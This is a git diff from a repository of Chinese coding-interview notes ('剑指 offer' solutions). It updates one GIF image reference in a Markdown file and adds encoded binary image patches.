z80pEvalykOL|`VRPgP*PKid=Y=t6Pu8kQPbQ_;?P9_V=euaA$ME_L@1Hdp3SyyTEf
z?PDVzFPZ-2rUUZ9@R{(5^RDgs!zgkPC2TTzt~yVn)9<fvZznpR)&VBBP&f4S@#vbW
z7lyTsVEpac9mT^vIOW7yTyW)%Q*9nOd3;DseY{RAjclhfJ9ouK)M87{v(zzDbjZN?
zR%_Mnn4emeHx<(<yZ=U&Gy=?TR}$t0XWCPxXD6EB#iqQ~bON6^B+YZ3|8U|W=0y1n
z3mvO;(XKo8=8U<AMMM$vHqshm7L)2@PyQl|*`gB@Ql$lhC&M-+F-D!k>@8V6yjhrI
z)Nz=;CiCZC{(85(XSoCYHbYzwHL8s(bS$&)IM7P&H@@_<*TNs5Ei3-H+z<*fdm^B#
zHca9iL|4Zqc?Q-|&b3fn_NE)q6E#)rp<%ext#f?4CC7A7lIP6&ykNJLn_egWkS%xS
z?{s!MMd`w-2omx4skzJRTut|aVcgKS+8cVy(7j}{VerHq%+7syKEL8Ts`=HXT!?$%
z7QQ#uM4P^+>3K;fV}f!yTh*G}a|bWNMERA-8hs$e>n%jDFmKoXIA{+K!>WGsPI*y2
zakLntUN#$YU&S#-(MDbN+Q@LYUjxJ2ng{If#p;AvQ$=X+Yln_bXv`&Fm=y&9nRI7R
z`SWT=_%|e5fn6buDjpud$kQyaLjOTO%NwX5Ezj*@+Y`Dzofov^a_Vm?&m`o<;XpKq
z5@+&A5um7*hg5<V10cE#G<Sg}A3j!(zynwelaJ%_-wWVd()jd05l7j!tN;OtBXC#p
zPO*6af&USJ^#JlcY587S0Sbwi#PZ6p_TPebZvtGW2W&Z@HCt{sr?93Wk)%lnniBFK
zfY?h=GatI3g6O*tQ*>;$+L}(Vzvo{txLLpgu<;@&0SQL}FoSD%gpW$igwb-CjS$-S
z3e!a}14*^05rQN*O)o?vL|rUfaXu0ci{Lb-okR->N8wroJ`Ew3iJ)QtTgoix;@B3^
z#B8~>G?OS9ah+G7*AOmB)mMvcl17naWe3&5z1pgkD0d}~RQSgLwuvC^)+2h^(uXwZ
zPc-}!f=tbo4(g?2qtcEt*;Bo22$24clxf(q8Iep&xbuhaoe`1bQ<~F%y{Flp&bpRB
g%1+K=lP<;INJzNO$e<=CA}H_tzw`gj|Nr0rzg>&<KL7v#

literal 0
HcmV?d00001

diff --git a/docs/notes/剑指 offer 题解.md b/docs/notes/剑指 offer 题解.md
index 709bbb98..939ee792 100644
--- a/docs/notes/剑指 offer 题解.md	
+++ b/docs/notes/剑指 offer 题解.md	
@@ -240,7 +240,7 @@ public String replaceSpace(StringBuffer str) {
 
 ### 使用递归
 
-<div align="center"> <img src="pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548294571338.gif" width="200px"> </div><br>
+<div align="center"> <img src="pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548296249372.gif" width="200px"> </div><br>
 
 ```java
 public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
diff --git a/docs/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548296249372.gif b/docs/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548296249372.gif
new file mode 100644
index 0000000000000000000000000000000000000000..61c506c9a12fb5c4a5f5cae914d5591de1e9700a
GIT binary patch
literal 20480
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
